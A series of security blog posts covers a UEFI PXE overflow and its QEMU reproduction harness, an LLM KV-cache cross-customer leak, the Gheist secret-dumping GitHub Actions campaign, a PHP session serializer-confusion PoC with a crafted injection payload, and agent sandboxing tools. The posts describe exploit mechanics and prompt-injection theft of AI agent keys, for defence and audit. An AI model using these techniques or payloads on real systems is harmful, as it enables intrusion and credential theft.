There is a buffer overflow in the network-boot driver of TianoCore EDK II - the open-source UEFI reference implementation that virtually every server BIOS on the planet derives from - and it has been there for sixteen years. CVE-2026-97631, rated 9.5: during a PXE network boot, an oversized ICMP error message writes attacker-controlled bytes past a 504-byte struct, corrupting firmware memory - code execution in ring 0, before Secure Boot and TPM even load. Found by Alex Matrosov and Dan Holmes. And the disclosure itself broke: AMI pushed the fix to a public repo a month ahead of the coordinated date, forcing an early advisory. The fifth disclosure-pipeline failure of the month, on the blog that has been counting them.

This post: the mechanism from the actual fix diff, what the bug does and doesn't give an attacker, the embargo story, a fleet audit you can run in one line - and the headless QEMU harness I built to reproduce it (now on GitHub: slabbdev/uefi-pxe-cve-2026-97631), documented to the exact point where my hardware said no.

The bug, read from the fix

The vulnerable code lives in NetworkPkg/UefiPxeBcDxe/PxeBcSupport.c - the handler that processes ICMP error messages arriving while the firmware network-boots. Here is the actual buggy loop, from the repo, before the patch (PR #13200, opened Sept 28):

CopiedLen = 0;
IcmpError  = (UINT8 *)&Mode->IcmpError;          // EFI_PXE_BASE_CODE_ICMP_ERROR = 504 bytes

for (Index = 0; Index < RxData->FragmentCount; Index++) {
    CopiedLen += RxData->FragmentTable[Index].FragmentLength;   // (1)
    if (CopiedLen <= sizeof (EFI_PXE_BASE_CODE_ICMP_ERROR)) {
        CopyMem (IcmpError, ...FragmentBuffer, ...FragmentLength);   // (2)
    } else {
        CopyMem (IcmpError, ...);   // the else branch copied too - truncated in the diff, same object
    }
}

Two textbook flaws stacked: the bound is checked against the cumulative length after adding the fragment (1), and a copy happens in both branches (2). Craft an ICMP error whose quoted payload exceeds 504 bytes - trivially, since the ICMP error body is just "original datagram" bytes you control - and the writes run past the end of the IcmpError struct inside the firmware's DXE phase. The fix introduces a FragmentLen variable and copies strictly bounded amounts per fragment.

What that buys an attacker, precisely: memory corruption in ring 0, in firmware, during the boot window - before the OS, before Secure Boot's runtime protections matter, before TPM-measured boot captures anything sane. The researchers note it can bypass remote attestation and break disk encryption assumptions. What it does NOT buy: this is not an internet-facing RCE. You need a position on the local network, a target that actually does PXE network boot (datacenter servers, fat clients - not your laptop booting from disk), and per-model tuning of the exploit. It is an insider/nation-state/ransomware escalation tool, not a worm.

The disclosure that broke

The coordinated embargo targeted January. Then AMI - an IBV whose BIOS AMI, Insyde, Phoenix and OEMs ship - published the fix pull request on September 28, a month early, blowing the timeline and forcing the early advisory. The PR is still there, timestamped, from an AMI engineer. Ars asked AMD, Phoenix, AMI, Microsoft and Amazon for comment; none answered. Intel and Arm claim their products aren't directly affected, though both borrow from EDK II lineage.

The month's disclosure-failure scoreboard, for those keeping count: LiteLLM reposted with scrambled dates, ZDI's private queue leaked to the public LKML, eMudhra blamed "amplification", a measured PHP advisory got dressed as BREAKING - and now an IBV broke its own embargo. Five failures, five different mechanisms, one lesson: the pipeline around the vulnerability is the vulnerability.

Audit your fleet - one line

PXE is on by default on most server firmwares. The audit:

# any network-boot entries in the firmware boot order?
efibootmgr -v | grep -iE 'pxe|network|ip4|ip6'

# BMC angle: many boards can enable network boot remotely - check yours
ipmitool lan print 1   # if the BMC is reachable, PXE policy is BMC policy

If nothing boots from the network and nothing can turn it on remotely, this CVE is not your fire today - but the patch wave is coming through your BIOS vendors over the next months, and unlike Secure Boot key rollovers, this one is a normal firmware update. Add "EDK II PXE fix" to the checklist of the next BIOS refresh cycle; disable network boot entirely on machines that never PXE.

The harness - what I built, what worked, what didn't

I tried to reproduce the crash locally, headless, on the exact vulnerable code. The harness (three small files, in the repo) is genuinely reusable for any OVMF boot-testing:

bridge.py - a Python DHCP server + attack tool on the QEMU wire: binds the QEMU socket UDP netdev pair, answers DHCP DISCOVER/REQUEST, waits for the TFTP read request, then fires 6× ICMP type-3 code-1 errors quoting a 1,200-byte fake datagram into a struct with room for 504. Pure stdlib, no scapy.
router.py - a screen-state router: classifies OVMF's screen from screendump pixel statistics (black = UEFI Shell, blue = front page/Boot Manager), then drives the headless firmware through the monitor (sendkey) into the Boot Manager and onto UEFI PXE IPv4 - no display, no VNC.
QEMU config: OVMF pflash, virtio-net on a UDP socket netdev (no multicast flakiness), filter-dump pcap tap on the wire, -d cpu_reset to catch firmware triple-faults.

What worked: everything up to the PXE boot attempt, reproducibly. The firmware boots, the router navigates the Boot Manager blindly and lands on the PXE screen (Client MAC banner and all), the wire tap and reset counters are live, the DHCP/attack engine is armed.

What didn't: the homebrew QEMU-bundled OVMF builds (IA32 and X64, q35 and i440fx) display the PXE banner and then transmit zero packets - the DHCP Discover never leaves the firmware under TCG emulation, so the ICMP trigger never arrives at the vulnerable handler. Reproducing further needs a serial-debug OVMF build (or a real machine with PXE enabled, which I won't point an overflow at outside a lab). The harness is documented to this exact boundary on purpose: it's the difference between "I ran it" and "I read it", and today this post is honest about being the second with the doors open for the first.

TL;DR

Sixteen-year-old overflow in the UEFI network-boot driver, ring 0 before your defenses load, local-network attack on PXE-booting fleets - patched in EDK II and rolling out through every BIOS vendor now. Check your boot order (efibootmgr), disable network boot where you don't need it, and add the fix to your firmware refresh checklist. The disclosure broke a month early, which is somehow the least surprising sentence of October.

Sources: Ars Technica - Code-execution flaw in UEFI firmware · EDK II fix PR #13200 · EDK II fix PR #13302 · Harness repo: github.com/slabbdev/uefi-pxe-cve-2026-97631

155 responses leaked between AI customers: the GLM-5.3 KV cache bug — and the canary test for YOUR provider

Sam LABBE — Tue, 27 Oct 2026 15:09:20 +0000

Between August 27 and September 9, some responses from GLM-5.3 on Cloudflare Workers AI contained other customers' prompts and partial generations. Not a breach of a database, not a prompt injection — the inference engine itself served stale KV-cache pages from previous, unrelated requests, with a clean HTTP 200. Exactly 155 responses were affected, all triggered by prompts longer than 681,280 tokens. Cloudflare published the full autopsy yesterday. This post is the mechanism in four steps, why the same bug class may sit in other inference stacks, and a canary script that tests your own provider for cross-request leakage.

The detail that should stop you: 681,280 is 65% of 1,048,576 — the model's context window. Someone sized the KV pool at roughly two-thirds of the context and shipped it. Everything else follows from that one number.

The failure chain, step by step

From Cloudflare's disclosure, cross-checked against SGLang issue #30233 (open since July 6):

The mismatch. GLM-5.3 launched with a 1,048,576-token context window, but the prefill KV pool held only 681,280 tokens. Cloudflare knew the pool was smaller and believed the engine would cleanly reject oversized prompts.
The rejection path. A prompt longer than the pool gets rejected in prefill — but in disaggregated prefill/decode mode, the rejected prompt was "replaced with a one-token placeholder," and prefill transferred just that placeholder's KV pages to decode. No error was returned.
The uninitialized read. Decode had reserved 8 KV pages for the request. Only page P0 was ever written. Attention then read all 8 reserved pages — 7 of which still contained data from earlier requests on the same node. Other customers' prompts, other customers' generations.
The clean 200. The response streamed out composed partly of someone else's context. No error code, no anomaly — which is why it took an external researcher, not monitoring, to catch it.

Two bugs overlapped: a configuration bug (pool < context — Cloudflare's, and only GLM-5.3 was affected there because every other Workers AI model had a pool larger than its context) and an engine bug (rejected requests surviving to the KV handoff — SGLang's, generic to disaggregated deployments, fixed in v0.5.22 after Cloudflare's draft PR #38704 and the merged follow-ups #36988/#38935). And a third factor that isn't a bug at all: KV pages aren't zeroed between requests by design — performance depends on reuse. The entire safety of the architecture rests on the bookkeeping around those pages being airtight.

The timeline worth studying

Reported by Gadi Evron (Knostic) via HackerOne on September 8, 23:11 UTC. Reproduced by Cloudflare within 25 minutes. Model private at 14:00 the next day, root cause at 14:35, fixed config at 14:52, model restored at 19:40. Coordinated disclosure published October 26 with the reporter and the SGLang maintainers, complete with page diagrams, issue links, and the exact number of affected responses.

Set that next to the same month's eMudhra response (revocation in 14 hours, then blaming "social media amplification" for the scrutiny) and you have the two poles of incident handling. Cloudflare's post even ends with the hardening roadmap — KV checksums on every prefill-to-decode transfer, canaries, per-page ownership tags, and formal verification of the RDMA transfer protocol. When the failure mode is "the bookkeeping lied," you eventually stop patching and start proving.

The lab: a canary test for YOUR provider

You cannot audit a provider's KV pool from the outside. You can detect the symptom class: data from request A surfacing in the response to request B. That's exactly what Cloudflare's post-incident canaries do — here is the userland version, works against any OpenAI-compatible endpoint (point BASE/KEY/MODEL at OpenAI, Anthropic-compatible gateways, vLLM, SGLang, llamacpp, Ollama):

# canary.py — cross-request leak smoke test for chat APIs
# usage: BASE=https://api.provider.com/v1 KEY=sk-... MODEL=... python3 canary.py
import os, random, string, sys, urllib.request

BASE  = os.environ["BASE"].rstrip("/")   # e.g. http://localhost:8000/v1
KEY   = os.environ.get("KEY", "none")
MODEL = os.environ["MODEL"]
canary = "CANARY-" + "".join(random.choices(string.ascii_lowercase + string.digits, k=16))

def chat(messages, max_tokens=200):
    req = urllib.request.Request(
        f"{BASE}/chat/completions",
        data=__import__("json").dumps({"model": MODEL, "messages": messages,
                                       "max_tokens": max_tokens, "temperature": 0}).encode(),
        headers={"Authorization": f"Bearer {KEY}", "Content-Type": "application/json"})
    return __import__("json").loads(urllib.request.urlopen(req, timeout=120).read())

# A — plant the canary
chat([{"role": "user", "content": f"Internal ref for this session: {canary}. Reply with 'noted' only."}])
print(f"[A] canary planted: {canary}")

# B — unrelated requests; scan every response for the canary
leak = False
for i in range(1, 6):
    r = chat([{"role": "user", "content": f"Write a two-sentence haiku about packet #{i}."}])
    text = r["choices"][0]["message"]["content"]
    hit = canary in text
    leak |= hit
    print(f"[B{i}] {'!!! CANARY LEAKED' if hit else 'clean'} — {text[:60]!r}")
print("RESULT:", "CROSS-REQUEST LEAK DETECTED" if leak else "no leak in this sample (not a proof)")

Honest scope, stated in the script's last line: a clean run is not a proof — the GLM-5.3 bug needed prompts beyond the KV pool on a misconfigured node. This catches gross leakage cheaply; run it after upgrades, against new endpoints, and in CI against your own inference stack. On providers, vary it: repeat with the B requests on a fresh session/conversation id — same-account separation is the weakest fence to test.

I ran the smoke test against the API that generates this blog's drafts (Z.ai's own GLM serving — for the record, the incident was Cloudflare's deployment, not Z.ai's): endpoint and auth verified, but my key's balance was empty, so the full run waits on a recharge. The script above is exactly what I'll run the day it has one — and what you can run against your provider tonight, with your key.

If you run the engine yourself

The operator checklist from the post, in priority order: upgrade to SGLang v0.5.22+ (rejected requests are retired at the admission queue, before any KV transfer); make your KV pool larger than your context window — and add the pre-deployment check that compares measured pool size to context length, because GLM-5.3 shipped without it; enable --disaggregation-enable-kv-checksum so every prefill→decode transfer is verified. The bug you're patching was reported in July, exploited-by-accident in August, and disclosed properly in October — if you deployed SGLang from a summer image, you are the audience for that checklist.

TL;DR

A KV pool sized at 65% of the context window plus a rejection path that kept going after refusal equals 155 cross-customer leaks with HTTP 200. Root-caused in 25 minutes, fixed in a day, disclosed with page-level diagrams — and the engine bug underneath is generic, so if you self-host inference, this is your patch-week. Everyone else: the canary script above is five minutes against your provider. Zero errors on the wire is not the same as zero leaks.

Sources: Cloudflare — KV cache exposure remediation · SGLang issue #30233 · SGLang PR #38704 (Cloudflare draft)

JetBrains open-sourced an agentic IDE where agents never touch your checkout

Sam LABBE — Mon, 26 Oct 2026 15:55:10 +0000

JetBrains just open-sourced an agentic IDE — Apache 2.0, on GitHub as of yesterday — and the name of the repository matters less than the three ideas in it: agents that never touch your checkout, a project's truth that survives the session, and no accounts anywhere. It's called Thinkrail, it wraps the pi coding agent, and after an evening in the repo I think it's the clearest statement yet of what "IDE" means when the coder is a fleet.

This week the agent stack is assembling in public: NVIDIA shipped the runtime layer (OpenShell), and now JetBrains ships the environment layer. Here's what Thinkrail actually does, mechanism by mechanism.

Idea one: isolation by worktree, not by prompt

Every workspace in Thinkrail is a git worktree with its own branch. The README's sentence deserves to be quoted in full: "Agents work in parallel without touching your checkout."

That's the whole design, and it's the correct answer to a question most agent tools answer badly. The common pattern today is: agent edits files in place, you review the diff in the same tree you're building in, and a second agent is a merge conflict generator. Worktrees flip it: N agents, N branches, your checkout untouched, merges become the explicit coordination point. It's the same isolation insight as OpenShell's sandboxes, applied one level up — not "what can the agent touch" but "which tree does the agent live in."

Idea two: SPEC.md as ground truth

The deeper bet: agents are unreliable because their context dies with the chat. Thinkrail's answer is a graph of SPEC.md files sitting beside every module, which the agent itself maintains through dedicated spec_* tools — "so intent survives the session."

Read that again: the documentation is not a byproduct of the work; it's a maintained artifact the IDE treats as ground truth. The agent reads the spec to know what to do, does the work, then updates the spec to record what it learned. JetBrains dogfoods it — the repo is developed spec-first, a SPEC.md sits next to every module. Whether the graph stays honest under agent-driven rewrites is the open question (a spec the agent both follows and edits is one prompt injection away from redefining the project's truth), but as an architecture it's the first serious answer to "how does an agent remember my project" that isn't a vector database.

Idea three: no accounts

"ThinkRail has no accounts of its own" — you bring your own provider credentials, exactly like OpenShell's provider model. The IDE is a host: an HTTP+WS engine (Bun.serve, one in-process agent session per chat), a typed versioned wire protocol (packages/contracts), and a React 19 client. Skills, workflows, MCP servers, subagents, per-chat model selection with token/cost readouts. It's an IDE-shaped shell around an agent protocol, and the shell has no opinion about who pays for inference.

The honest margins

The tagline — "gets better every time you use it" — is marketing for what's actually shipped: living specs today, self-built capabilities tomorrow. It's brand-new (0.x, this week), the wire protocol is versioned but young, and "spec drift under agent edits" is a real attack on its own premise that no README answers yet. The desktop installers exist (macOS Apple Silicon, Windows, Linux), and the CLI is two commands — but nobody has a year of usage to point at.

Run it yourself

curl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash
thinkrail ~/code/my-repo
# developers: Bun 1.4.4 + Node >= 22.19, then `bun install && bun run dev`

Repo: github.com/JetBrains/thinkrail · Apache 2.0 · built around the pi coding agent

TL;DR — worktrees for parallel agents, a self-maintaining spec graph for durable intent, your keys and no accounts. The week built the runtime (NVIDIA), the IDE (JetBrains), and left one layer conspicuously unfinished: who proves what the fleet actually did. That's the next post.

Gheist: 13,500 secret-dumping workflows planted with stolen GitHub tokens — audit yours in 5 minutes

Sam LABBE — Mon, 26 Oct 2026 07:06:31 +0000

While everyone watched LiteLLM, a quieter campaign spent five weeks doing something worse: taking stolen GitHub tokens and committing a secret-dumping workflow into every repository they could reach — 13,500 planted branches across 850+ compromised accounts, personal projects and private enterprise repos included. Wiz published the full autopsy yesterday. The campaign is called Gheist, it dumps your org secrets, your cloud credentials, and — the line that made me write this — it specifically hunts AI provider keys: Anthropic, Hugging Face, Groq, NVIDIA. Your agents' keys, straight out of your CI.

This post is the mechanics and the audit. The whole check runs in five minutes with gh, tonight, on your own account and orgs.

The attack, in four moves

Gheist's tooling takes a stolen token (sourced from infostealer logs and prior supply-chain incidents — the same family that hit Trivy in March), enumerates every repo it can touch, and plants a branch ci-sync-XXXXXX containing one workflow, committed as ci: sync config, unsigned. The workflow is two dumb lines: dump env and toJSON(secrets), base32-encoded, print to the workflow log. Then the tool fetches the log through GitHub's API and deletes the run.

Four details make it clever, and all four are worth internalizing:

base32 defeats secret masking. GitHub masks secret values in logs only when they appear verbatim. Encode them and the masking sees nothing. Your $SECRET prints safely to the attacker.
permissions: {} protects nothing here. It restricts the auto-generated GITHUB_TOKEN — not the secrets context. Half the hardening advice on the internet answers a different attack.
The environment matrix. Tool B lists the repo's deployment environments, so environment-scoped secrets — usually production, usually the crown jewels — get printed too.
No C2, anywhere. The secrets exit through GitHub's own API, from GitHub's own IPs, authenticated with a token you issued. There is no attacker domain to block, no exfil host to alert on. The channel is the platform.

On self-hosted runners the payload went further — searching for 31 token formats (private keys, .env files, Terraform state, /proc/*/environ, Docker sockets, Kubernetes tokens) and AI provider keys specifically. Wiz notes that variant is buggy — wrong runner paths, broken regex, no GCP/Azure collection — which is somehow worse: the campaign is a product under active iteration, shipping features.

The public/private asymmetry

The single most interesting fact in the autopsy: public repos were largely saved by one quiet GitHub guardrail. Since July 28, workflow runs from first-time contributors in public repos sit in action_required pending collaborator approval — and every public Gheist run Wiz checked sat there, payload never executed.

That hold doesn't apply to private repos or GitHub Enterprise Server. There, the workflows ran, secrets were dumped, and Wiz proved follow-on AWS role assumption from the stolen cloud credentials via CloudTrail. The guardrail you never configured protected your open source; nothing protected the private stuff, which is where the secrets actually live.

Two more findings worth the price of admission: permissions: {} on the malicious workflow was used by the attacker — cosmetically, since secrets don't care — and about two-thirds of the implicated accounts have since vanished from GitHub, suggesting response is underway while the campaign kept evolving through October 24.

The audit — five minutes, tonight

The radar: the commit message is searchable in public history, and it's noisy (legit sync config commits everywhere), so treat it as a lead generator, not a verdict:

gh api 'search/commits?q="ci: sync config"' --jq '.total_count'
# → 321 hits right now. Most are innocent sync scripts. Your job is the branch check below.

The actual self-audit — planted branches on your account (loop your repos, grep the branch pattern):

gh repo list --limit 200 --json nameWithOwner --jq '.[].nameWithOwner' | while read r; do
  gh api "repos/$r/branches" --paginate --jq '.[].name' 2>/dev/null | grep -E '^ci-sync-[0-9a-z]{6}$' && echo "  ↑ HIT in $r"
done

For organizations (org owners only — the audit-log API isn't available on personal accounts; the web UI's security log is the personal fallback):

# Workflow runs deleted within a minute of completing — Gheist's cleanup signature
gh api 'orgs/YOURORG/audit-log?include=all&phrase=workflow_run' \
  --jq '.[] | select(.action=="workflow_run.deleted")'
# The tool's user agent
gh api 'orgs/YOURORG/audit-log?include=all' --jq '.[] | select(.user_agent=="gheist")'

And the cloud-side hunt that works even without GitHub logs — Wiz's best trick: OIDC role assumptions whose session/subject contains ci-sync- (GitHub's OIDC subject includes the ref, so the planted branch name travels into your CloudTrail):

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \
  --start-time 2026-09-15 --max-results 20 | grep -i 'ci-sync'

If anything hits: rotate every secret that repo could see — deleting runs doesn't un-dump them — revoke the pushing tokens, and check the token owners' machines for infostealers, because that's where the tokens came from.

Harden for the next one

From Wiz's list, ranked by how little they cost: require reviewers on environment-scoped secrets (kills the environment matrix); scope OIDC trust policies to protected branches only (kills ci-sync-* role assumption); prefer GitHub Apps or fine-grained, short-lived tokens over classic PATs (shrinks what one stolen token reaches); run self-hosted runners ephemerally, no Docker socket, no unrestricted metadata (kills the host pivot). And never approve a held sync-check run sitting in action_required — that's the trap's front door.

TL;DR

Gheist = stolen tokens + one two-line workflow + base32 + GitHub-as-C2, at a scale of 13,500 branches. Public repos got lucky via the first-contribution hold; private repos paid. The audit is five minutes of gh and one CloudTrail query — and if you run AI agents in CI, the campaign's shopping list literally names your provider. Check tonight.

Sources: Wiz — Gheist: attempted scaled abuse of stolen GitHub tokens · CISA KEV / alerts hub · commit-search audit via gh api (commands above, verified live)

The 'BREAKING' unpatched PHP RCE that wasn't: what CVE-2026-115560 actually requires

Sam LABBE — Fri, 23 Oct 2026 14:56:35 +0000

The alert going around today: ‼️ BREAKING ‼️ PHP warns of another UNPATCHED RCE vulnerability just 2 days after releasing emergency patches. New "CVE-2026-115560" affects only unusual session configurations. PHP has issued urgent mitigation guidance. Three lines, each one a little wrong. The actual advisory — php.net, today, 300 words, measured — says: it's an informational advisory, handled in the regular release cycle, reachable only through a config combo PHP itself calls "unlikely in practice", and the mitigation is the same one from Tuesday — if you applied it then, "keep it in place and no further action is needed."

This is the third amplification story of the week on this blog, and the easiest to settle — because unlike LiteLLM's scrambled dates or eMudhra's "out of proportion" complaint, this one comes with a checklist you can run in three commands. By the end you'll know whether CVE-2026-115560 concerns you, and more usefully, how to read the next BREAKING without the exclamation marks.

⚠️ The full lab lives under: the two-request PoC that confirms the injection locally (no Docker — the PHP CLI's built-in server is the whole stack, and the serializer grammar is not version-specific), plus an audit script that turns the decision tree below into one command with an exit code. Local target only, never aimed at third-party systems.

slabbdev / php-cve-2026-115560-kit

Local-only PoC lab for CVE-2026-115560 (PHP session upload-progress serialize-handler confusion) — two-request PoC on the PHP CLI built-in server (no Docker) + fleet audit implementing the advisory's decision tree.

cve-115560-kit — local lab for the PHP session serialize-handler confusion

Companion lab for the black box article on CVE-2026-115560 (PHP session.upload_progress informational advisory, 2026-10-23). Part 2 of the php2shell story (part 1: CVE-2026-109618/109619).

Local target only (127.0.0.1). Never aimed at third-party systems.

The combo (all three legs required, per php.net)

session.serialize_handler = php_binary or php_serialize in configuration;
application code switches it back to php at runtime with ini_set() before session_start();
session.upload_progress.enabled still on.

PHP calls this setup "unlikely in practice" — the advisory is informational, the fix ships in the regular cycle. The mitigation is the same as GHSA-6wmf-4rv5-p3rp (CVE-2026-109619): session.upload_progress.enabled=0.

The lab

No Docker needed — the PHP CLI's built-in server is the whole stack, and the serializer grammar is not version-specific. Requires php and python3 on $PATH.

$ ./run.sh          # starts 127.0.0.1:8899 (or ./run.sh PORT) and runs the PoC

What the two…

View on GitHub

What the advisory actually says

php.net, October 23, verbatim:

We suggest you set session.upload_progress.enabled=0 until the next regular bugfix release, to fully protect from an unlikely RCE vector. This setting was already listed as a mitigation in the GHSA-6wmf-4rv5-p3rp advisory for CVE-2026-109619 published on Oct 21st, 2026. If you applied it then, keep it in place and no further action is needed.

The issue can only occur under an unusual combination of configuration and application code. An application must set session.serialize_handler to php_binary or php_serialize in its configuration and then switch it to php at runtime with ini_set() before calling session_start(). Session upload progress must also still be enabled. Applications that never change the serialize handler at runtime can keep the feature enabled. Since this setup is unlikely in practice, we are handling it in the regular release cycle and will publish a full advisory for CVE-2026-115560 with the next release.

Count what changed between that text and the BREAKING version: "informational advisory" became "unpatched RCE"; "regular release cycle" became "urgent"; "unlikely in practice" became a vague "unusual session configurations" that reads like it could be you. None of the repost's three lines survives contact with the primary source.

The bug, in one paragraph

(Interpretation flagged as such — the full advisory ships with the next release.) The session store is written by one serializer and, after the runtime switch, parsed by another. php_binary and php_serialize have different key-encoding rules than the default php handler — so bytes written under one grammar get read under another, and the upload-progress entry conveniently contains an attacker-chosen key name. Serializer confusion on attacker-influenced session content is the classic path to code execution; the exact primitive waits for the full advisory. What PHP is telling you today is precisely who needs to care, which is the rarest and most useful sentence in vulnerability disclosure.

The lab: watching the confusion happen

The kit runs on the PHP CLI's built-in server — no Docker, because the combo is pure configuration and the serializer grammar is not version-specific:

git clone https://github.com/slabbdev/php-cve-2026-115560-kit
cd php-cve-2026-115560-kit && ./run.sh   # binds 127.0.0.1:8899 only

run.sh starts the target with session.serialize_handler=php_binary in configuration (leg 1) and upload progress enabled (leg 3); the read path in target/index.php performs the ini_set() switch (leg 2). Then the PoC fires two requests:

a small multipart upload whose PHP_SESSION_UPLOAD_PROGRESS value is the key p|O:8:"DemoVuln":1:{...} — the progress hook stores the entry under the configured grammar, where a | inside a key means nothing;
a GET that hits the ini_set() path: the same session file is now parsed under the php grammar, which splits entries at the first | — the one the attacker planted — and unserializes whatever follows.

Real output, PHP 8.5.10:

[1] upload POST — writes the progress entry under the crafted key…
     HTTP/1.1 200 OK
[2] read GET — ini_set to `php`, session_start()…
     HTTP/1.1 200 OK
    > [CVE-2026-115560] DemoVuln::__wakeup — attacker-controlled unserialize executed, note=pwned-1
    > read OK — session keys: []
RESULT: INJECTION CONFIRMED

Two details in that output carry the lesson:

session keys: [] — the decoder chokes on the progress-array bytes that trail the injected object, and destroys the session. The gadget already ran. From the attacker's side the corruption is free; from yours, the session silently resets.
the server logs PHP Warning: session_start(): Failed to decode session object. That warning is your detection artifact — a store written under one grammar and read under another shows up exactly there. If you must keep the runtime switch, alert on this line.

And no race is involved: session.upload_progress.cleanup=0 parks the poisoned entry in the store after the upload completes, so request 2 can come hours later. With Tuesday's bug this CVE shares the feature; what it doesn't share is any need for timing skill.

The decision tree

You set session.upload_progress.enabled=0 on Tuesday (the php2shell mitigation, GHSA-6wmf-4rv5-p3rp): you're already protected from this vector too. Nothing to do.
You kept upload progress on and your application never calls ini_set() on session.serialize_handler: keep the feature enabled — the combo doesn't exist on your fleet. Apply Tuesday's patches if you haven't (8.5.12, 8.4.27, 8.3.36, 8.2.35).
You do switch serialize handlers at runtime (some frameworks and session shims have done this historically): set upload progress to 0 now, and watch for the full advisory with the next release.

The lab: three lines to know

# 1. Who configures the serialize handler at all?
grep -rn "session.serialize_handler" /etc/php* src/ config/ 2>/dev/null

# 2. Does any code switch it at RUNTIME? (this is the rare leg of the combo)
grep -rn "ini_set.*serialize_handler" src/ vendor/ --include='*.php' 2>/dev/null | grep -v tests

# 3. What is the effective config on this box?
php -i | grep -E 'session.serialize_handler|upload_progress.enabled'

Reading the output:

Command 2 returns nothing → you're in "applications that never change the serialize handler", full stop. The advisory says you can keep upload progress on.
Command 2 returns a hit → you're the fleet the advisory was written for: session.upload_progress.enabled=0 in your php.ini now, until the patched release.
Command 3 shows upload_progress.enabled => On and you already turned it off — check you edited the right ini file (FPM pools and CLI routinely read different ones; php -i on the CLI proves nothing about php-fpm's view, repeat it through a phpinfo() page or php-fpm -i).

That last one is the trap I'd bet on: Tuesday's mitigation applied to the CLI config, the FPM pool still streaming uploads with progress enabled. The advisory is three hundred words; the operational reality is one ini file per SAPI.

The kit in the lab above packages the audit as runnable code too: ./audit-cve-2026-115560.sh -s src/ -c config/ runs the three checks, reads the effective config per SAPI instead of trusting php -i, compares your branch against the patched releases (8.5.12, 8.4.27, 8.3.36, 8.2.35), and exits 0 / 1 / 2 so CI can gate on it (--json if you'd rather parse than read).

Why this post exists

Look at the week: LiteLLM's supply-chain compromise got reposted with dates scrambled into the wrong month; ZDI's private queue leaked onto the public LKML; a CA chairman blamed "social media amplification" for scrutiny he'd priced wrong; and today, a measured informational advisory got dressed as a BREAKING RCE. Four different failure modes, one common denominator: the repost is cheaper than the read, and every step away from the primary source loses accuracy and gains urgency.

The skill this blog keeps coming back to is boring and decisive: open the advisory. php.net's text is the counterexample to its own amplification — no exclamation marks, an honest likelihood estimate ("unlikely in practice"), a precise trigger condition, and the sentence almost no disclosure ever contains: if you already did the thing, do nothing. That last sentence is why people should read sources: most days, the correct action is no action, and only the primary source will tell you so.

Sources: php.net — Informational advisory: Session upload progress (Oct 23, 2026) · GHSA-6wmf-4rv5-p3rp / CVE-2026-109619 advisory · Part 1 — the php2shell lab

TL;DR — CVE-2026-115560 is real but requires a serializer switched at runtime plus upload progress enabled; PHP calls it unlikely in practice and ships the fix next release. Tuesday's mitigation already covers you. Three grep commands — or the kit's audit script — tell you which case you're in. The BREAKING version of this story is the case study; the advisory is the answer.

Agents should never hold your API keys. NVIDIA just open-sourced the runtime that enforces it

Sam LABBE — Fri, 23 Oct 2026 11:05:26 +0000

Every AI agent you run today holds your secrets in its process environment: API keys, cloud credentials, tokens. One prompt injection away from exfiltration — and 2026 proved it twice, with two separate compromises of the most popular LLM proxy on PyPI, in March and again this week. NVIDIA's answer landed on GitHub this week: OpenShell (Apache 2.0) — a runtime where agent fleets run in kernel-level sandboxes, credentials live behind a gateway instead of in the environment, and where every policy change is checked by a Z3 SMT prover before a human approves it.

This is not another agent framework. It's the layer underneath: confinement, custody, and proofs for fleets of agents that already exist. I spent the evening in the repo — here's what it actually does, mechanism by mechanism.

The three pieces

OpenShell is three components: a gateway (the control plane), a supervisor, and sandboxes (minimal Ubuntu by default, GPU passthrough optional, Kubernetes via Helm if you're fleet-sized). The policy model covers filesystem, network, and process rules; enforcement is at the kernel — every file access, syscall, and network connection is checked at runtime, not by a wrapper library the agent could forget to call.

The quickstart is two commands, on macOS Apple Silicon, Linux, or WSL2:

curl -LsSf https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh
openshell sandbox create --name demo

The default sandbox ships with no agent inside — you bring yours. The docs' first-agent walkthrough runs OpenCode against a free OpenRouter model, which means you can feel the whole thing without a paid key.

Mechanism one: credentials leave the agent

This is the inversion that matters. Today's default is: you export OPENAI_API_KEY into the agent's environment, and pray. The agent process holds the crown jewels in /proc/self/environ, one prompt injection from leaking them into whatever URL the model decided to fetch.

OpenShell's providers crate restructures custody:

The gateway persists provider records — API keys, bearer tokens, local account configs — discovered from your environment and config files, normalized, and kept out of logs ("Callers that display provider data must redact sensitive fields by default" is written into the crate's contract).
The sandbox supervisor fetches resolved provider config from the gateway and injects credentials into the agent's child processes.
The agent never stores a credential — keys live at the gateway, redacted in logs — but the boundary deserves precision (see the update below): the supervisor injects the resolved credential into the child process's environment (inject_env, providers crate), so the child can read the raw value. What the kernel layer enforces is destination, not possession: every network connection passes a policy check before it leaves the sandbox, and no request-time attachment exists in the default path — that would build in the gateway-interceptors middleware.

Read that again from the custody perspective: the blast radius of a compromised agent stops being "every key in the environment" and becomes "the endpoints this sandbox's policy named". Your agent can still work — read files, install packages, call the APIs you approved — but the keys to everything else simply aren't in the room.

Mechanism two: a Z3 prover gates policy changes

The part I didn't expect at this maturity: the openshell-prover crate is a formal verifier for sandbox policies. From its own README:

Encodes a policy + its attached credential set + a binary capability registry as a Z3 SMT model, then runs reachability queries to detect credentialed-reach and capability changes a reviewer should be aware of.

Concretely: when a policy change is proposed — by you, or by the agent itself — OpenShell doesn't just diff the YAML. It encodes the would-be state into SMT and asks reachability questions: can this sandbox now reach a new host with credentials attached? call a new API method? Risky deltas wait for human review. There's also a containment API: give it an operator boundary policy and a candidate, and it answers Within / not — with counterexamples when the answer is no.

And the failure mode is the right one: the model has bounds (ASCII literals in network selectors, no embedded NUL bytes), and when a policy uses a shape it can't model, it returns unsupported_policy_shape — "I can't prove anything about this" — instead of a green light. The crate's own guidance: treat unknown values as fail-closed. Whoever wrote that sentence has been burned before, in the good way.

If you've followed the formal-verification world this week, the timing lands: Anthropic published the same evening that LLMs are making formal verification feasible at much larger scale. Put the two together and a pattern emerges for the agent era — LLMs propose, solvers dispose: the model writes the policy, the prover holds the gate, the human signs the deltas.

What it doesn't do — read before deploying

Three honest limits, because a runtime named "safe, private" invites oversharing:

Confinement is not evidence. OpenShell answers "what can this agent do?" — it doesn't answer "what did this agent actually do?" A sandboxed agent can still take wrong actions inside its walls, and after the fact you'll want a tamper-evident record of what happened, not just the walls that were up. Those are complementary layers — walls and flight recorder — and a serious fleet eventually wants both.
